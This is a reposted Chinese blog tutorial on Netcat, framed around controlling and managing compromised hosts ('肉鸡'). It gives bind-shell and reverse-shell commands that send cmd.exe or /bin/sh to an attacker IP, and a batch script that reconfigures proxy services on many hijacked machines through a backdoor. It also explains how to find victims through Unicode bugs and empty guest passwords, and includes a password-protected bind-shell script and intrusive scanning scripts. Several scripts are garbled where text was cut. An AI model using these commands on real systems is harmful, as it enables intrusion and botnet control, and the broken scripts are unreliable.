瑞士军刀Netcat既NC的使用----转


瑞士军刀Netcat既NC的使用----转
2012年01月19日
  0. 写在前面的话 
  ########################################
  最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,但是借助于金山词霸2002版本, 还是明白了一点东西.
  我觉的有必要再总结一下.反正主要是满足我自己的需要.
  ######################################## 
  1. Netcat 1.10 for NT - nc11nt.zip 
  ########################################
  Basic Features
  * Outbound or inbound connections, TCP or UDP, to or from any ports 
  * Full DNS forward/reverse checking, with appropriate warnings 
  * Ability to use any local source port 
  * Ability to use any locally-configured network source address 
  * Built-in port-scanning capabilities, with randomizer 
  * Can read command line arguments from standard inputb 
  * Slow-send mode, one line every N seconds 
  * Hex dump of transmitted and received data 
  * Ability to let another program service established 
  connections 
  * Telnet-options responder
  New for NT
  * Ability to run in the background without a console window 
  * Ability to restart as a single-threaded server to handle a new 
  connection 
  __________________________________________________ ______________________ 
  Some of the features of netcat are:
  Outbound or inbound connections, TCP or UDP, to or from any ports 
  Full DNS forward/reverse checking, with appropriate warnings 
  Ability to use any local source port 
  Ability to use any locally-configured network source address 
  Built-in port-scanning capabilities, with randomizer 
  Built-in loose source-routing capability 
  Can read command line arguments from standard input 
  Slow-send mode, one line every N seconds 
  Optional ability to let another program service inbound connections
  Some of the potential uses of netcat:
  Script backends 
  Scanning ports and inventorying services 
  Backup handlers 
  File transfers 
  Server testing and simulation 
  Firewall testing 
  Proxy gatewaying 
  Network performance testing 
  Address spoofing tests 
  Protecting X servers 
  1001 other uses you`ll likely come up with
  Netcat + Encryption = Cryptcat
  对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.1.1 NC.EXE是一个非标准的telnet客户端程序,1.2 还有一个putty.exe客户端程序,提供四种连接模式 
  -raw -telnet -rlogin -ssh.
  ######################################## 
  2. Netcat 1.10 for NT 帮助信息 
  ########################################
  C:\WINDOWS\Desktop>nc -h 
  [v1.10 NT] 
  connect to somewhere: nc [-options] hostname port[s] [ports] ... 
  listen for inbound: nc -l -p port [options] [hostname] [port] 
  options: 
  -d detach from console, background mode (后台模式) 
  -e prog inbound program to exec [dangerous!!] 
  -g gateway source-routing hop point[s], up to 8 
  -G num source-routing pointer: 4, 8, 12, ... 
  -h this cruft (本帮助信息) 
  -i secs delay interval for lines sent, ports scanned (延迟时间) 
  -l listen mode, for inbound connects (监听模式,等待连接) 
  -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) 
  -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析) 
  -o file hex dump of traffic (十六进制模式输出文件,三段) 
  -p port local port number (本地端口) 
  -r randomize local and remote ports (随机本地远程端口) 
  -s addr local source address (本地源地址) 
  -t answer TELNET negotiation 
  -u UDP mode 
  -v verbose [use twice to be more verbose] (-vv 更多信息) 
  -w secs timeout for connects and final net reads 
  -z zero-I/O mode [used for scanning] (扫描模式,-vv) 
  port numbers can be individual or ranges: m-n [inclusive]
  ######################################## 
  3. Netcat 1.10 常用的命令格式 
  ########################################
  下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
  3.1.端口的刺探:
  nc -vv ip port 
  RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
  3.2.扫描器
  nc -vv -w 5 ip port-port port 
  nc -vv -z ip port-port port
  这样扫描会留下大量的痕迹,系统管理员会额外小心。
  3.3. 后门
  victim machine: //受害者的机器 
  nc -l -p port -e cmd.exe //win2000 
  nc -l -p port -e /bin/sh //unix,linux 
  attacker machine: //攻击者的机器. 
  nc ip -p port //连接victim_IP,然后得到一个shell。
  3.4.反向连接 
  attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. 
  //或者wollf的反向连接. 
  nc -vv -l -p port 
  victim machine: 
  nc -e cmd.exe attacker ip -p port 
  nc -e /bin/sh attacker ip -p port
  或者:
  attacker machine: 
  nc -vv -l -p port1  
  nc -vv -l -p prot2  
  victim machine: 
  nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
  nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
  139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP),这样就可以保证nc.exe优先于NETBIOS。
  3.5.传送文件:
  3.5.1 attacker machine  path\file.txt 需要Ctrl+C退出 
  //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
  3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡 
  nc -vv -l -p port > path\file.txt 需要Ctrl+C退出 
  nc -d victim_ip port c: 
  cd \ 
  md test 
  cd /d %windir%\system32\ 
  net stop sksockserver 
  snake.exe -config port 11111 
  net start sksockserver 
  exit 
  _______________file.cmd__END___________________
  ######################################## 
  4. 管理肉鸡,更改肉鸡设置 
  ########################################
  4.1 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver",使用winshell后门. 端口1234 密码password
  命令格式就是:
  modi.bat youip.txt
  ___________modi.bat____________________________ 
  @if "%1"=="" echo Error: no ip.txt &&goto END
  :start 
  @echo password >a.cmd 
  @echo s >>a.cmd 
  @echo cd /d %%windir%%\system32\ >>a.cmd 
  @net stop "sksockserver" >>a.cmd 
  @snake.exe -config port 11111 >>a.cmd 
  @net start "sksockserver" >>a.cmd 
  @exit >>a.cmd
  :auto 
  @for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 C:\nc -vv -w 3 -l -p 80>>80.txt 
  goto start
  把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.但是也是一种便宜的办法.
  肉鸡特征:
  1。unicode漏洞 
  2。guest密码为空,administrators组用户 
  3。其他漏洞
  自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
  ######################################## 
  5. 下载连接 
  ########################################
  http://www.coolersky.com/Download/Hacker/Back-door /nc.rar
  ######################################## 
  6. 补充 
  ########################################
  以下为NetCat的Unix版本使用方法(转载): 
  http://www.xfocus.net/articles/200103/88.html
  -------------------------------------- 
  nc使用技巧
  by quack
  http://www.xfocus.org ;安全焦点
  nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。  (文中所举的script都来自于nc110.tgz的文件包)
  一、基本使用:
  Quack# nc -h 
  [v1.10] 
  想要连接到某处:    nc [-options] hostname port[s] [ports] ... 
  绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 
  参数: 
  -e prog 程序重定向,一旦连接,就执行 [危险!!] 
  -g gateway source-routing hop point[s], up to 8 
  -G num source-routing pointer: 4, 8, 12, ... 
  -h 帮助信息 
  -i secs 延时的间隔 
  -l 监听模式,用于入站连接 
  -n 指定数字的IP地址,不能用hostname 
  -o file 记录16进制的传输 
  -p port 本地端口号 
  -r 任意指定本地及远程端口 
  -s addr 本地源地址 
  -u UDP模式 
  -v 详细输出――用两个-v可得到更详细的内容 
  -w secs timeout的时间 
  -z 将输入输出关掉――用于扫描时
  其中端口号可以指定一个或者用lo-hi式的指定范围。
  二、用于传输文件――ncp
  #! /bin/sh 
  ## 类似于rcp,但是是用netcat在高端口做的 
  ## 在接收文件的机器上做"ncp targetfile" 
  ## 在发送文件的机器上做"ncp sourcefile receivinghost" 
  ## 如果调用了 "nzp" ,会将传输文件压缩
  ## 这里定义你想使用的端口,可以自由选择 
  MYPORT=23456
  ## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改 
  # PATH=${HOME}:${PATH} ; export PATH
  ## 下面这几行检查参数输入情况:
  test "$3" && echo "too many args" && exit 1 
  test ! "$1" && echo "no args?" && exit 1 
  me=`echo $0 | sed 's+.*/++'` 
  test "$me" = "nzp" && echo '[compressed mode]'
  # if second arg, it's a host to send an [extant] file to. 
  if test "$2" ; then 
  test ! -f "$1" && echo "can't find $1" && exit 1 
  if test "$me" = "nzp" ; then 
  compress -c c > "$1" && exit 0 
  else 
  nc -v -w 30 -p $MYPORT -l  "$1" && exit 0 
  fi 
  echo "transfer FAILED!" 
  # clean up, since even if the transfer failed, $1 is already trashed 
  rm -f "$1" 
  exit 1
  这样的话,我只要在A机器上先 QuackA# ncp ../abcd 
  listening on 然后在另一台机器B上 
  QuackB#ncp abcd 192.168.0.2 
  quackb [192.168.0.1] 23456 (?) 
  A机上出现 
  open connect to [192.168.0.2] from quackb [192.168.0.1] 1027 
  #
  查看一下,文件传输完毕。
  三、用于绑定端口――bsh
  首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工具是无法利用的――要define一个GAPING_SECURITY_HOLE它才会提供-e选项。
  #! /bin/sh 
  ## 一个利用nc的绑定shell并且带有密码保护的脚本 
  ## 带有一个参数,即端口号
  NC=nc
  case "$1" in 
  ?* ) 
  LPN="$1" 
  export LPN 
  sleep 1 
  #注意这里nc的用法,参数-l是lister,-e是执行重定向 
  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 & 
  echo "launched on port $LPN" 
  exit 0 
  ;; 
  esac
  # here we play inetd 
  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
  while read qq ; do 
  case "$qq" in 
  # 这里就是弱密码保护了,密码是quack 
  quack ) 
  cd / 
  exec csh -i 
  ;; 
  esac 
  done
  要看看它是怎么使用的么?
  quack# ./bsh 6666 &1 
  echo '0' | $UCMD "$1" 79 2>&1 
  # if LSRR was passed thru, should get refusal here: 
  # 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情 
  $UCMD -z -r -g $GATE "$1" 6473 2>&1 
  $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1 
  # -s `hostname` may be wrong for some multihomed machines 
  echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1 
  echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1 
  rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1 
  echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1 
  # newline after any telnet trash 
  echo '' 
  echo PASV | $UCMD -r "$1" 21 2>&1 
  echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1 
  # sometimes contains useful directory info: 
  # 知道robots.txt是什么文件么?;) 
  echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1 
  # now the big red lights go on 
  # 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到 
  rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1 
  rservice root root | $UCMD -r "$1" exec 2>&1 
  echo 'BEGIN big udp -- everything may look "open" if packet-filtered' 
  data -g &1 
  # no wait-time, uses RTT hack 
  nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1 
  nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1 
  echo 'END big udp' 
  $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1 
  # Use our identd-sniffer! 
  iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1 
  # this gets pretty intrusive, but what the fuck. Probe for portmap first 
  if nc -w 5 -z -u "$1" 111 ; then 
  showmount -e "$1" 2>&1    #象showmount和rpcinfo的使用,可能会被逮到;) 
  rpcinfo -p "$1" 2>&1 
  fi 
  exit 0
  感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,这样扫描会留下大量的痕迹,系统管理员会额外小心;)
  多试试,多想想,可能你可以用它来做更多事情――你可以参见nc110.tgz里script目录下的那些脚本,从中获得一些思路。

猜你喜欢

转载自dll38dll.iteye.com/blog/1364632